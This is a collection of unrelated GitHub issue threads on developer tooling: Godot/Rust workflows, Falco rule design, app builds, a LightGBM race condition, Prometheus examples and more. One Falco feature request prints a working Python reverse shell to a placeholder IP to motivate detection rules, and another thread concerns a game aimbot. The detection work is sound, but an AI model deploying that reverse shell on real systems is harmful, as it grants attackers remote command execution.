Note that this only works during development -- once you export your Godot project, the res:// path needs to refer to libraries inside.
You can also further automate things with bash scripts, for example:
# assuming you have this directory strucure:
#
# game/
#   godot/
#      project.godot
#   rust/
#      src/
#      target/
#      Cargo.toml

# godot is an alias/symlink to the Godot executable
cargo build --manifest-path rust/Cargo.toml && godot --path godot

Also don't hesitate to join our Discord server in case of further questions 🙂

The gdnlib path can refer to something outside the Godot repository, e.g. res://../rust/target/debug/game-logic.dylib. This way, you don't need to copy lib files, but you may need to minimize (not close) Godot when you build Rust.
Note that this only works during development -- once you export your Godot project, the res:// path needs to refer to libraries inside.
You can also further automate things with bash scripts, for example:
# assuming you have this directory strucure:
#
# game/
#   godot/
#      project.godot
#   rust/
#      src/
#      target/
#      Cargo.toml

# godot is an alias/symlink to the Godot executable
cargo build --manifest-path rust/Cargo.toml && godot --path godot

Also don't hesitate to join our Discord server in case of further questions 🙂

I am unable to send messages in the discord server

Hey. The invite is not working

@hirohido I just tried my link and get to the Discord page, and asked about account details. If I randomly change the link, it tells me the invitation is invalid. What error do you get?
That said, that link is pretty ancient and I could probably create a new one.

It works now. Thanks


Extend fd.types to be used with any system call

Motivation
I was trying to build a rule about spawning reverse shells and I came up with an idea for better detection. It looks to me that we have all the data needed for this, but we are simply not giving users the possibility to use it when needed.
Let's consider the classic python-based reverse shell:
import socket
import os
import pty

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("<IP_ADDRESS>",4242))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("/bin/sh")

As shown in the above snippet, we create a network socket, connect to the attacker IP address and port, and then make sure that stdin, stdout and stderr are replaced with the file descriptor of the socket using dup, to ensure the attacker can send commands and receive their output and errors remotely.
So recently, we implemented the new field fd.types that can take an argument, interpreted as the file descriptor number, to get the type of that file descriptor. Now the problem is that the fd field category can be used only when the syscall itself involves a file descriptor. In the example above, we can write the rule on the dup event, and when we see that stdin and stdout are already replaced with an ipv4 or ipv6 socket, alerting is needed, like in the following:
evt.type in (dup, dup2, dup3) and evt.dir=< and evt.rawres in (0, 1) and fd.type in (ipv4, ipv6) and fd.types[0] in (ipv4, ipv6) and fd.types[1] in (ipv4, ipv6)

The problem with this approach is that we are missing that a shell has to be executed. We can only detect the preparatory steps, and we are not 100% confident that a shell will be executed. There can be other binaries that need to read and write stdin and stdout remotely, so the rule will not be as precise as we want it to be.
Feature
I would love to release the constraint of accessing other file descriptors types only on fd-related syscalls. If we think about it, this kind of information pretty differs from the fd field category, and we already have categories of field (e.g. proc) that can be accessed on any syscall event. The file descriptor table is always there and we store that information, so it might be worth it to make it accessible also when other events are involved, especially the execve event. We could then write something like:
evt.type in (execve, execveat) and proc.name in (sh, bash, zsh ... ) and proc.fd.types[0] in (ipv4, ipv6) and proc.fd.types[1] in (ipv4, ipv6)

(Here above I am using proc.fd.types as an example).
This uses the fact that on execve file descriptors are kept, except when they have the close on exec bit (which I think is mishandled today and not honored in our mirroring of the state)
Notice that this could not only help in this reverse shell use case, but at least in other two, that is when shells are preparing file descriptors under the hood to make things possible:

redirection to file cat helloworld.txt > test
pipes cat token | base64 -d

I believe that this can be a good improvement to this new powerful field.
Alternatives
Do nothing, losing new detection opportunities
Additional context

Of course, the proposal only involves stdin, stdout and stderr mostly for detection. All the other file descriptors are unguessable and may change depending on who spawns what and which of them are open, but those three are powerful by themselves so that's why I am proposing this!
So the two use cases other than reverse shell involve stdin, stdout and stderr pretty much in the same way, e.g you have something that involves pipe if:
evt.type=execve and proc.pname in (bash, sh, zsh ...) and proc.fd.types[0]=pipe (stdin is a pipe)

one could possibly extend even further with proc.fd.names[0]=/path/to/unwanted/file

ok, so here we are talking about exposing stdin, stdout, stderr type (ipv4, pipe, regular file, ecc...) for each process in the thread table. Let's say something like:

proc.stdin.type
proc.stdout.type
proc.stderr.type

Is this the case?
Initially, I thought of something more generical like exposing all the fd.* fields that we have today for each process of the thread table. So you could potentially write something like proc.fd[4].name but as said in the previous comment this seems a not realistic use case...

of course we could extend it to proc.fd[*].type if we think it could be useful for other use cases

Yeah, I'd keep it generic though! Let's say you have a capture and you want to analyze other fds. Being generic allows for deeper investigation in a "fixed" scenario (i.e the capture). That could be good for forensics or troubleshooting just to understand what's going on :) but I am ok if we start with proc.stdin.type and so on

/milestone 0.18.0


make provided binaries more prominent

Binaries from the github actions CI are a bit hidden in the installation process, and I had to go look at the workflow file, after seeing them mentioned in the issues, and then look up where to find github artifacts for a given workflow.
Maybe it would be more convenient to mention these in the readme?

Another question regarding this:
In the first alinea there is talk about Mac, but the documentation only lists how to install on Debian.

Yes, I have a mac, and I cannot figure out how to install this app.

In JOSM we've just created a pre-release for every build instead of an artifact. We also sign and notarize the macOS packages.
If you've landed here looking for a psst download, here are recent builds:

psst-deb
psst-gui-Linux
psst-gui-Windows
psst-gui-macOS (unzip, then right-click -> Open)

Thanks!
I downloaded the psst-gui-MacOS, but once I unzip it, it doesn't look like an app. (It's "kind" is "document" in the Finder.) When I try to run it, it opens in Textedit. Not sure what's wrong. (I'm on an M1 MacBook Air, in case it matters.)

@jtbayly I had the same issue, and this is how I got it to work:

Unzipped it
Open a terminal
cd ~/Downloads/
chmod 755 psst-gui
xattr -d com.apple.quarantine psst-gui
./psst-gui

This will be also improved by #82, soon.


Integrate OrpoTrainer with PyTorchXLA for faster step time on TPUs

OrpoTrainer currently runs very slow on TPU because the code is not integrated with TorchXLA. Currently there are too many dynamic shapes and data device transfer in the code which trigger graph recompilation and slow down step time. This PR makes changes to improve step time of OrpoTrainer on TPUs by more than 300x. Tested on Llama3-8b, the current step time is 2s using Lora on all linear modules, compared to 10mins which we started with.
The changes should not impact performance on other backends since we have guarded the changes with is_torch_xla_available.

Thank you very much for this addition @wenxindongwork! Unfortunately we can't test with GitHub CI but I'm relying on you for the fact that it works and run faster.
Can you just address the question/comment? then we're good to merge.

The docs for this PR live here. All of your documentation changes will be reflected on that endpoint. The docs are available until 30 days after the last update.

addressed comments, thanks for the quick review!

Hello @wenxindongwork can you please fix the code quality issues with make precommit 🙏 ?

should work now!

Can you also set the min transformers version in setup.py as well?

just did, thanks for pointing this out!


New CMD Icon!

Description of the new feature/enhancement
If PowerShell and terminal have a new icon, then good old command prompt should have one! That would comply with Microsoft's new fluent design system!

Something like this maybe

Thanks for your enthusiasm! We're not updating CMD, and that includes not updating its visuals. Sorry, we're just not investing in it. Terminal's icon is going to be the icon you see for your commandline going forward, and keeping CMD's legacy as an homage is the best way to honor it.

Hello @mdtauk, please, can you share this icon so we'll set Command Prompt icon as new default at Windows Terminal.


Improved reporting and error handling

some fixes required before merging, see my comments in the commit history.


Idea: Prefixes for scripts

This is bad:
scripts:
  db:
    default: babel-node scripts/db.js help
    help: babel-node scripts/db.js help
    start: babel-node scripts/db.js start
    restore: babel-node scripts/db.js restore
    dump: babel-node scripts/db.js dump
    reset: babel-node scripts/db.js reset

👎  Serious need of DRYing
👍  1:1 for script methods = easy reading
Current solution barely better:
scripts:
  db:
    help: nps db help
    start: nps db start
    restore: nps db restore
    dump: nps db dump
    reset: nps db reset
    default:
      script: babel-node scripts/db.js
      hiddenFromHelp: true

👎  Looks incredibly messy the more it occurs
👎  Uses up script.default, which I often use to auto-print help
This would be great:
scripts:
  db:
    _prefix: babel-node scripts/db.js
    default: help
    help: help
    start: start
    restore: restore
    dump: dump
    reset: reset

👍 Very DRY!
👍 Keeps default free!
👍 1:1 relationships!
Would be cool too:
scripts:
  serve:
    _postfix: --watch
    ...

Just wanted to have a feasibility discussion first, willing to implement myself!

Thanks for the feedback. I think that this is out of scope. I believe that it makes things more complex even if it reduces the amount of characters you have to type (and makes things more "DRY")
If you really want to make things more dry, you could write things in JavaScript:
module.exports = {
  scripts: {
    db: prefix('babel-node scripts/db.js', {
      default: 'help',
      help: 'help',
      start: 'start',
      restore: 'restore',
      dump: 'dump',
      reset: 'reset',
    }),
  }
}

function prefix(scriptPrefix, scripts) {
  return Object.keys(scripts).reduce((allScripts, scriptName) => {
    const scriptValue = scripts[scriptName]
    allScripts[scriptName] = `${scriptPrefix} ${scriptValue}`
    return allScripts
  }, {})
}

Which results in:

You could even make scripts an array instead because the property name is the same as the script :)
That's one of the reasons why I wanted to move scripts to a JavaScript file. So you can do stuff like this :)
I hope this is helpful! Thanks again for your interest in the project!

Those are good points. Thanks for quick response! @kentcdodds


DialogHost is already open

Using a PopupBox with StaysOpen set to true, you can still click on buttons when when a DialogHost is already open, causing the program to try to launch another. Doing so will throw an exception stating "DialogHost is already open."

I am going to argue that this is not a bug.  I'm turning StaysOpen off on the demo home page.  If you use StaysOpen, but call into DialogHost you should probably manually close  the popup.  The DialogHost is protected itself by throwing that error.

How about giving DialogHost a higher z-index so that you can't click on the PopupBox entries if the DialogHost is still open? I'm not sure why you'd want to be able to still click on PopupBox entries if the DialogHost modal is going to be blocking everything else.

Not that easy, dialogs and pop up boxes both have pop-up Windows...outside of the usual visual tree


Question - is there anyway of not render non-working hours?

Looking at the API we have the option to hide the weekend by setting displayWeekend as false, is there any way or plans to add a feature to not display non-working hours?

@canastro
Hi, if you just want to display working hours in day view, you may try to set schedulerData.config.dayStartFrom(defaults 0) and schedulerData.config.dayStopTo(defaults 23).
i.e. we start work at 9:00am and get off work at 6:00pm, we can set schedulerData.config.dayStartFrom to 9 and set schedulerData.config.dayStopTo to 18.

There is a feature to display non-working hours in different color,
Is there any way to set non-working hours ?

There is a feature to display non-working hours in different color, Is there any way to set non-working hours ?

https://github.com/StephenChou1017/react-big-scheduler/issues/124#issuecomment-1474128750


Remove composer as suggested installation method

Until https://github.com/pantheon-systems/cli/issues/679 is fixed.

How to handle this? See, the KLogger issue is actually all resolved for the bleeding edge. I changed the README.md because the source code is totally up-to-speed on this, but people are coming in and reading the BE readme when it's the release readme they need.

Ah, interesting! If we're more than a day or two out for the next release then maybe we should make the source readme not suggest composer, as that's where people are going for install instructions?

Perhaps it should be policy that when the README changes incompatibly with the current release, then at least a new point release must be cut.
The solution right now seems to be to check out a branch from right before where the recent site workflows was changed to just workflows and then build and release a 0.9.3. I will do that and close these issues.

Cut 0.9.3. Packagist finds and installs it successfully.


Add Picard BaitDesigner task

I want to use picard's BaitDesigner as part of https://github.com/twinstrandbio/duplex-seq/issues/741
Would it make sense to add this task to dagr?

Codecov Report

:exclamation: No coverage uploaded for pull request base (master@46843f8). Click here to learn what that means.
The diff coverage is n/a.

@@            Coverage Diff            @@
##             master       #1   +/-   ##
=========================================
  Coverage          ?   91.53%
=========================================
  Files             ?       31
  Lines             ?     1146
  Branches          ?      108
=========================================
  Hits              ?     1049
  Misses            ?       97
  Partials          ?        0

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 46843f8...af60b6b. Read the comment docs.

merged in fulcrumgenomics#357


X1061_visium_cytassist_Select_box_defaults_to_blank

@sabrine33 It is not letting to select Visium LP CytAssist initially also not letting to change back to em[pty option
https://github.com/sanger/stan-client/assets/55585488/0329b10a-e650-46f0-b784-0ee76c7d0aed


Formatting links

Make links (to pages or mail addresses) more visible: bold, underlined, different color ... whatever

done


Make adding cameos as coauthors just upgrade them

Rather than having to remove them and then add them as coauthors, which is unintuitive and probably has extra overhead

Probably should have additional information on the flash when this happens


Race condition in Dense4bitsBin::Push

https://github.com/Microsoft/LightGBM/blob/92a45bebc321a822136ab99838c6817487cfb661/src/io/dense_nbits_bin.hpp#L50
if (buf_.empty()) {
      #pragma omp critical
      {
        if (buf_.empty()) {
          int len = (num_data_ + 1) / 2;
          buf_ = std::vector<uint8_t>(len, static_cast<uint8_t>(0));
        }
      }
}

The buf_ variable is concurrently read and written by multiple threads.

Thus, there is a “omp critical”.

No, first condition is not in critical clause.

The buf.empty()? It is a checking by read, and there is another check in the critical region

The buf.empty()? It is a checking by read, and there is another check in the critical region. Thus, only one thread has chance to allocate buf_.

While one thread is allocating the buf_ another threads are trying to read the buf_ at the same time. These operations are not atomic and lead to UB.

yeah, but it will not affect the allocating of another thread.
And that thread will step into the critical region then, but at that time, the allocating is finished (otherwise the thread cannot step in).
Is there any problem ?

While one thread is allocating the buf_ another threads are trying to read the buf_ at the same time.

This is already undefined behaviour. It does not matter what happens after.
While the buf_ is in the middle of allocating process it cannot be accessed from another thread even for reading, but this happens here.

yeah, it is undefined, but I think most compilers can handle that.
Current implementation was tested by windows/unix/osx about one year and without reporting error happening there.
However, this allocation could be put into Constructor and then avoid this potential issue.
Welcome to create a PR to fix it : ) .

yeah, it is undefined, but I think most compilers can handle that.
Current implementation was tested by windows/unix/osx about one year and without reporting error happening there.

No, this bug causes segmentation faults. That's why I found it)
But this error does not appear on every start. It has happened several times over many starts.
Fast fix is to remove first condition before the critical section.

I think the problem is caused by the assigning.
can you try to change buf_ = std::vector<uint8_t>(len, static_cast<uint8_t>(0)); to buf_.risize(len, static_cast<uint8_t>(0)); ?

Put it into constructor is more efficient.

For sure and it's more clean way. But be aware that Resize function or maybe other stuff can modify num_data_ member and hence the buf_ has to be resized accordingly..

I think the problem is caused by the assigning.
can you try to change buf_ = std::vector<uint8_t>(len, static_cast<uint8_t>(0)); to buf_.risize(len, static_cast<uint8_t>(0)); ?

I don't think this resolves the issue because it does not eliminate concurrent read-write access to the buf_(more precisely its size) from multiple threads. This can work if these operations are atomic, but there is no guaranty. And it's not so easy to check as the error occurs too rarely. I vote for your first solution.


Lofi Girl station broken

The lofi girl station doesn't seem to be working. Displaying this error:
youtube player error:
code:        150
description: video cannot be played in embedded players
Looks like it's because of the copyright claim that happened recently on it. There's a new lofi girl stream up and running now, which needs to be updated here.

It has been fixed.


Enter highscore name in a floating window

When it's time to enter the highscore, a new floating window should be opened to enter the user name. It should also be more festive, saying something like:

Congratulations!
You achieved a new highscore, beating the one
by {Here-the-old-leader} by {new-highscore - old-highscore}.
Your new highscore is:
{new-highscore}
Please enter your name:

I'd like to take this.

Hey @humdingerb, I open up a PR for this issue. Please take a look.

I believe this issue has been solved and may be closed?

Yep. Fixed with 65875288d466bb0e85d83dfe3ac212745cb9c6e0
Thanks!


Smaller sort function

Switch out the sort function for the file list and save ~800 bytes.

There wont be any bytes left at this rate 😆
Thanks!


Fluent Output Tests Look off with rustfmt

The API looks weird when run through rustfmt because it puts each function on a separate line, so it clouds up what the predicate is operating on

Keep it, tools are meant to work for us
Go back to having a function per variant
Follow Environment and take in a predicate parameter

Easier to do multiple predicates (option to take in an array)
While it helps in places, I found it annoying in clap to access a bunch of different types
More linking is needed to help people find all of the relevant predicates

(Split of from #41)

RE Accepting predicates (from #41)
One thing in favor of accepting predicates as parameters is that someone wanted to pass multiple predicates at once which is more of an issue with contains and negated contains/is and not is.

But! At that point me might as well do .stderr(|x: OutputAssertThingy| -> bool { x.is("bar") || (x.contains("baz") || !x.is("bazinga")) }) to not reinvent boolean expressions. Which I think was something someone was asking for in another issue anyway (cf. #57).

I think there is still value in specialized predicates for better error reporting. We could just use From to auto-convert a Fn into one of the predicates.

Error reporting is a good point! We should aim for nice errors, as that is what people are using the crate for.
I didn't specify what OutputAssertThingy is in that quote… so maybe we can try to write a type that overloads boolean operators in a very clever way?

In addition to the existing PR exploring this, #98 would also possibly resolve this.

Addressed in assert_cmd
https://github.com/assert-rs/assert_cmd
assert_cli is going to morph into a wider-focused tool, including things like assert_fs.  See https://github.com/assert-rs/assert_cli/issues/41


Add a modifier for the start of name

Is your feature request related to a problem? Please describe
According to the documentation described here, it is possible to split the file/folder name, but there is no way to set from which character to start from
Quote:
Common options
Max length (int)
If the contents of the token is longer than this value, it will be cut.
Example:

%md5%
37d49104a49a3c27d3fabfd7e8c24f97
%md5:maxlength=8%
37d49104

Describe the solution you'd like
Add a modifier for the beginning of the text (start, startext) of type int
Using the above example, you could use a command such as

%md5%
37d49104a49a3c27d3fabfd7e8c24f97
%md5: start=3%,maxlength=8%
49104a49

Describe alternatives you've considered
There is really no alternative
Additional context
I wanted to add the images in subfolders based on MD5, but I can't (you can only limit the size of the text)
37/d4/37d49104a49a3c27d3fabfd7e8c24f97.jpg

That makes sense! 😄


{appservice} | Fix typo github, Github to GitHub

Fixes https://github.com/Azure/azure-cli/issues/22660
Related command

Description

Testing Guide

History Notes

[Component Name 1] BREAKING CHANGE: az command a: Make some customer-facing breaking change
[Component Name 2] az command b: Add some customer-facing feature

This checklist is used to make sure that common guidelines for a pull request are followed.

[ ] The PR title and description has followed the guideline in Submitting Pull Requests.

[ ] I adhere to the Command Guidelines.

[ ] I adhere to the Error Handling Guidelines.

appservice


Update hyper example to work with hyper 0.12

It looks like the hyper example does not compile when using the latest version of hyper (0.12). I would be happy to open a pull request with an update, but my attempt at refactoring it requires enabling default-features for hyper, which were previously off. Would it be an issue?

PTAL @overvenus

Any news here? This would be very helpful for packaging prometheus for Fedora.

In case it's useful, here is my attempt (which, as mentioned, requires default-features for hyper):
// Copyright 2016 PingCAP, Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//     http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// See the License for the specific language governing permissions and
// limitations under the License.

#[macro_use]
extern crate lazy_static;
#[macro_use]
extern crate prometheus;

use hyper::{
    Body, Response, Server,
    header::CONTENT_TYPE,
};
use hyper::rt::Future;
use hyper::service::service_fn_ok;

use prometheus::{Counter, Encoder, Gauge, HistogramVec, TextEncoder};

lazy_static! {
    static ref HTTP_COUNTER: Counter = register_counter!(opts!(
        "example_http_requests_total",
        "Total number of HTTP requests made.",
        labels! {"handler" => "all",}
    ))
    .unwrap();
    static ref HTTP_BODY_GAUGE: Gauge = register_gauge!(opts!(
        "example_http_response_size_bytes",
        "The HTTP response sizes in bytes.",
        labels! {"handler" => "all",}
    ))
    .unwrap();
    static ref HTTP_REQ_HISTOGRAM: HistogramVec = register_histogram_vec!(
        "example_http_request_duration_seconds",
        "The HTTP request latencies in seconds.",
        &["handler"]
    )
    .unwrap();
}

fn main() {
    let addr = ([127, 0, 0, 1], 9898).into();
    println!("Listening address: {:?}", addr);

    let new_service = || {
        let encoder = TextEncoder::new();
        service_fn_ok(move |_request| {
            HTTP_COUNTER.inc();
            let timer = HTTP_REQ_HISTOGRAM.with_label_values(&["all"]).start_timer();

            let mut buffer = vec![];
            let metric_families = prometheus::gather();

            encoder.encode(&metric_families, &mut buffer).unwrap();
            HTTP_BODY_GAUGE.set(buffer.len() as f64);

            let response = Response::builder()
                .status(200)
                .header(CONTENT_TYPE, encoder.format_type())
                .body(Body::from(buffer))
                .unwrap();

            timer.observe_duration();

            response
        })
    };

    let server = Server::bind(&addr)
        .serve(new_service)
        .map_err(|e| eprintln!("Server error: {}", e));

    hyper::rt::run(server);
}

By the way, my guess is that default-features was false because version 0.9 required libssl-dev installed, but it appears that version 0.12 does not require it anymore.

Hi @crash-g
Sorry for the super late reply.

I would be happy to open a pull request with an update, but my attempt at refactoring it requires enabling default-features for hyper, which were previously off. Would it be an issue?

It's totally OK to enable default feature since it's in [dev-dependencies]. Your example already looks good to me, it would be appreciated if you could send a pull request.

Hi @overvenus, I've opened a pull request with the changes: https://github.com/pingcap/rust-prometheus/pull/249.
Thanks for this library by the way, it's quite useful.

#249 is merged.


Issues i found

Aimbot is broken most of the time.
Deathmatch is not accounted for.
Vis check = bad.
No UI!!!!
Use C# imgui.
IMgui.net
and clickabletransparentoverlay
USE NET 8.0!!!

Aimbot is broken most of the time.

tell me more about this

Dude i try to shoot and it just puts my mouse point at air

also provide .sln

Dude i try to shoot and it just puts my mouse point at air

you didn't let it calibrate, after starting, don't do anything with the mouse until you're flicked in different directions.

also provide .sln

Why? If there's a csproj

mb

also it says mouse cailbrate but break on  ffa


Improve mail helper

PSR-2
allow send html-only emails ($body === false and $bodyHTML !== false)
fix #2030

I tested this helper in the following cases:

text-only email
html-only email
text + html email
text-only email + attachment
html-only email + attachment
text + html email + attachment
attachment only
no body and no attachment

Please hold a while, I'm going to update this PR

Ok, pull request ready to be merged :wink:

Otherwise, this looks great. I just successfully sent a multipart message, and it's only showing the HTML version on Gmail. Thank you for the fix!

Thanks!


Self-aware Tier Models are bugged.

Self-aware tier models are not operating at 99.5% success rate and appear to be bugged.
HostileNeuralNetworks-1.16.5-1.0.2

Yeah this was recently fixed on 1.18, it just needs to be backported

fixed in 1.0.3


ReactTextView extends AppCompatTextView

Summary
Google recommends to use AppCompat widgets, and this PR changes ReactTextView to extend AppCompatTextView.
Changelog
[Android] [Changed] - ReactTextView extends AppCompatTextView
Test Plan
CI is green, and everything works as normal.

@cpojer is there anything I can help with?

@cpojer @mdvacca please review and merge 👍


Add support for https://orf.at/

Checklist

[X] I'm reporting a broken site support
[X] I've verified that I'm running youtube-dl version 2021.06.06
[X] I've checked that all provided URLs are alive and playable in a browser
[X] I've checked that all URLs and arguments with special characters are properly quoted or escaped
[X] I've searched the bugtracker for similar issues including closed ones

Verbose log

PASTE VERBOSE LOG HERE

Description

WRITE DESCRIPTION HERE
Wow guys ... tons of template stuff. Is all of that necessary?
I mean all I would like to suggest is to add support for an URL such as:
youtube-dl https://orf.at/stories/zib100?episode=20210714

Right now the error I get is:
[generic] zib100?episode=20210714: Requesting header
WARNING: Falling back on generic information extractor.
[generic] zib100?episode=20210714: Downloading webpage
[generic] zib100?episode=20210714: Extracting information

The website players super-slowly in my palemoon browser which
is why I'd rather want to download it and watch it completely
without jittering. Right now if I try to play it on the website
it jitters.

Video is no longer verfügbar. Please open a new issue for any similar page if required after solving #32789.


route element on CRD cause issues when running a integration

The new version of karavan create a CRD using route element like this:
apiVersion: camel.apache.org/v1
kind: Integration
metadata:
  name: hello-world.yaml
spec:
  flows:
    - route:
        from:
          uri: timer:foo
          steps:
            - setBody:
                expression:
                  constant:
                    expression: Hello World
            - log:
                message: ${body}
                logName: demo
          parameters:
            delay: '30000'

And when create the Integration using 'kubectl create -f integration.yaml' shows the next message
java.lang.IllegalArgumentException: Unsupported field: steps
Nevertheless when  use a CRD without route element definition everything runs well
apiVersion: camel.apache.org/v1
kind: Integration
metadata:
  name: hello-world.yaml
spec:
  flows:
    - from:
        uri: timer:foo
        steps:
          - set-body:
              expression:
                constant: Hello World
          - log:
              log-name: demo
              message: '${body}'
        parameters:
          delay: '2000'
  dependencies:
    - 'camel:timer'

I'm using Camel K 1.8 and k3d
Regards

See this ticket: https://github.com/apache/camel-karavan/issues/194

Thanks Claus


Allow reporting 'extra' values

Allows you to report extra values that shows up in Opbeat.
Example usage (if one also add local variable info to all Exceptions :smile:)
Kernel.at_exit do
  Opbeat.report($!, extra: $!.local_variables) if $!
end

+1

Obvious oversight on our part. Can I make you add a spec as well?

Of course, I'll do that tomorrow.

Thanks a bunch, @jensnockert .
We'd love to send you a little something for your help – can you send your address to<EMAIL_ADDRESS>

Added spec, sent email!

:heart: :blue_heart: :purple_heart: :yellow_heart: :green_heart:

Swag should be on the way. Thanks @jensnockert !

\o/


fix: better error message when calling push/replaceState before router is initialized

closes #11466 and #11492
Not sure if this needs a test.
IMO, this error should be thrown in production as well. Any opinions?

Please don't delete this checklist! Before submitting the PR, please make sure you do the following:

[x] It's really useful if your PR references an issue where it is discussed ahead of time. In many cases, features are absent for a reason. For large changes, please create an RFC: https://github.com/sveltejs/rfcs
[x] This message body should clearly illustrate what problems it solves.
[ ] Ideally, include a test that fails without this PR but passes with it.

Tests

[ ] Run the tests with pnpm test and lint the project with pnpm lint and pnpm check

Changesets

[x] If your PR makes a change that should be noted in one or more packages' changelogs, generate a changeset by running pnpm changeset and following the prompts. Changesets that add features should be minor and those that fix bugs should be patch. Please prefix changeset messages with feat:, fix:, or chore:.

Edits

[x] Please ensure that 'Allow edits from maintainers' is checked. PRs without this option may be closed.

IMO, this error should be thrown in production as well. Any opinions?

It may not be possible to know whether the router is initialized when calling pushState.
It would be nice for there to be a way to tell if it was safe to call, e.g. when writing utility code.
Write now I'm doing something like this in an app codebase:
// Bug: Handle 'undefined' root if pushState is called during on mount.
// See https://github.com/sveltejs/kit/issues/11466 for details.
try {
    pushState(...);
} catch (error) {
    // Log the error as a warning, but don't re-throw it.
    log.warn('Ignoring failed call to `pushState`', error);
}

Given this is no longer a problem in Svelte 5 throwing this in dev for Svelte 4 is a sufficiently good solution

This doesn't seem to be the case?


Improve the glibc minimum supported version

Currently, the linux-aarch64 artefacts are build with a ubuntu 22.04 runner, which means that the minimum glibc supported version is ~2.35.
Ideally, we should build with a custom Docker image and bring the MSV to 2.31 (or better).

Fixed in https://github.com/rerun-io/rerun/pull/5543


Needs to be republished to npm.

Looks like the code published to npm is 2 months old. I'd like to get the latest xpath goodness into my project via yarn. Is there a release scheduled soon?

Just specify the latest version explicitly.
Il 31 dic 2017 4:45 AM, "Patrick Eakin"<EMAIL_ADDRESS>ha
scritto:

Looks like the code published to npm is 2 months old. I'd like to get the
latest xpath goodness into my project via yarn. Is there a release
scheduled soon?
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/GoogleChrome/puppeteer/issues/1698, or mute the
thread
https://github.com/notifications/unsubscribe-auth/Agpg57_lbxWDdQ_4DN9ZqHpEo34fbJMJks5tFwNvgaJpZM4RPwtM
.

Just specify the latest version explicitly.
npm i<EMAIL_ADDRESS>

Thanks @marco-pragliola

I suspect we'll probably do a release early next year after the holidays. Until then you can pull from master.


PowerShell ISE: Multiple line status update on download

On PowerShell ISE, running
$ scoop install gradle
causes the download status updates to output multiple lines instead of reporting download status on single line. The download status updates should be reported on the same  single line. Attached find the screenshot for reference:

Does this happen with every install in ISE or just sometimes? Also what do you get for the value of [console]::isoutputredirected in ISE?

I get this for every install on PS ISE.
The value for [console]::isoutputredirected is False

Thanks for the update...I'm thinking how do I turn it on?

While testing the fix for this it somehow became False for me too after running a few scoop commands. Still don't know what's going on there. Anyway I've submitted a patch with an extra check for ISE (#2189).

@r15ch13 Thanks for the merge
@sim4life The issue was auto-closed from the commit but do a scoop update and see if the issue has been fixed for you after that.

@stkb thanks.
After the update, the value for [console]::isoutputredirected was still False. I had to reboot PowerShell ISE to make it to True.
I also tried installing a new app using scoop and the status is perfectly single-liner.


v1.0.73 Can't use

https://github.com/Eugeny/terminus/releases/tag/v1.0.73
After updating to this version, click the shortcut command and cannot write to TAB

+1
with this version of Terminus, typing a command will not send it to to any tab

使用此版本的Terminus（1.0.77）+1 ，键入命令不会将其发送到任何选项卡。
src/components/quickCmdsModal.component.ts

47 line add  is ok
else {
   tab.focusedTab.session.write(cmd); //Solve the latest version can not be used
  }


[Bug]: Argument #1 must be of type array, Livewire\Features\SupportFileUploads\TemporaryUploadedFile given

What happened?
I encountered an issue where the GalleryJsonMedia package is expecting an array of files, but it is receiving a TemporaryUploadedFile object from Livewire.
How to reproduce the bug
Here's the code that I have used:
JsonMediaGallery::make('images')     ->directory('tasks')     ->reorderable()     ->preserveFilenames()     ->maxSize(5 * 1024)     ->replaceNameByTitle()     ->image()     ->downloadable()     ->deletable();
I am getting the following error:
GalleryJsonMedia\Form\JsonMediaGallery::GalleryJsonMedia\Form\{closure}(): Argument #1 ($file) must be of type array, Livewire\Features\SupportFileUploads\TemporaryUploadedFile given
Package Version
2.2
PHP Version
8.3.6
Laravel Version
10.29
Which operating systems does with happen with?
Linux
Notes
No response

did you cast images field to array ?
If not, that's why.

Finally test with 8.3 in L11 and  still ok. So see the recommandation for casting in array


Run apps created in app-build-verify

Changes

Run briefcase run for apps created with app-build-verify
Introduce new "Briefcase Automation" plugin

This plugin replaces the app.py with a version that will automatically exit shortly after the app starts

Use the GitHub provided WiX install
Use the GitHub provided Java 17 install
Use Fedora 39 to test RPM packaging (instead of Fedora 37)
Closes https://github.com/beeware/briefcase-template/issues/75

Notes

With some cheats, all frameworks are running on all platforms (where frameworks are supported at all)
Leverages briefcase-plugin-test to create apps that automatically exit
briefcase run is not called for apps created for Linux via containerization since Briefcase does not support the Run command when --target is specified (and that's because passing the X11 into Docker is convoluted).

TODO:

[ ] Establish plan for "Briefcase automation" package

PR Checklist:

[ ] All new features have been tested
[ ] All new features have been documented
[X] I have read the CONTRIBUTING.md file
[X] I will abide by the code of conduct

An interesting conundrum.
If another repo, like beeware/briefcase, invokes a version of this workflow that isn't at beeware/.github@main, how do you ensure that subsequent workflows and actions are also from that same non-main branch?
Notably, consider Briefcase's CI calling app-build-verify but from a branch on my fork, i.e. rmartin16/.github-beeware/.github/workflows/app-build-verify@testing-branch. This, of course, works fine but app-build-verify needs to run the app-create action to roll out the Briefcase project for testing. It does this by referencing the app-create action via a local filesystem path to the .github repo.....and hence, where the problem begins: how do you checkout the .github repo for the version of app-build-verify that's currently running?
This will require knowing the repo and branch where the running app-build-verify lives.

Another person pointed out this same issue. They did not really come to a reasonable conclusion, though...since their workable solution was a hacky javascript action that manually inspects the environment to derive where the running reusable workflow lives....and using some OIDC context at that.
The core problem is mostly how inheritance works. When the reusable workflow (i.e. app-build-verify) is called, it inherits the environment from the caller; this includes the github context.
Relevant bits of github while app-build-verify is running when Briefcase calls it in a PR:
github.ref_name=1546/merge
github.repository=beeware/briefcase
github.repository_owner=beeware
github.workflow=CI
github.workflow_ref=beeware/briefcase/.github/workflows/ci.yml@refs/pull/1546/merge
github.workflow_sha=37da207f9e010c326f1c0a93730e1fd02209e57c

So, the reusable workflow being called effectively appears to just be a part of the workflow that called it.
This means a naked actions/checkout step in app-build-verify will checkout beeware/briefcase and not the repo for the version of app-build-verify that's running.
